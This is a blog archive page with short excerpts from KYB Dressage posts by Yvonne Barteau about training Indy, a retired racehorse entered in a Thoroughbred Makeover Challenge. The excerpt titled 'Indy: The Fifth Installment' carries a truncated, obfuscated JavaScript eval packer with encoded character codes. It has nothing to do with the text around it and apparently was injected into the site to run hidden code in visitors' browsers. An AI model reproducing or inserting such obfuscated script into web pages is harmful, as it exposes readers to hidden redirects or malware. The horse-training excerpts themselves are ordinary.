Indy Chapter Six

By Yvonne Barteau With our regular show season underway things got super busy here at KYB Dressage. Coincidently, Indy got a stone bruise in turnout that eventually abscessed. Indy does NOT enjoy stall rest or being left out of any activities. He was an impatient patient and as soon as…

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Indy: The Fifth Installment

Finally getting to enjoy the great outdoors with Indy! eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l . . . This section is for KYB Connected members only.   Please sign up today to get your ringside seat at KYB Connected! Click here to go to the sign up page. If you are…

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Indy: The Fourth Installment

This week Indy and I focused on a little more balance under saddle, we introduced the pedestal which he had no issues with whatsoever and we worked on his lay down response being more prompt and then staying down until I tell him to get up. I have incorporated a…

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Indy’s Third Week at KYB

By Yvonne Barteau This last week, Indy and I quit playing around in the field and concentrated on riding work. I am constantly paying attention to the details of his hip and shoulder control now, starting that in trot and canter, as well as walk. I am also starting to…

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The Thoroughbred Makeover Challenge

So I am about to revisit my racetrack days with an entry in the $100,000 Retired Racehorse Project Thoroughbred Makeover Challenge.  Many people do not know that I started my professional career with Standardbred racehorses directly out of high school.  I spent seven years learning from, first the harness horses…

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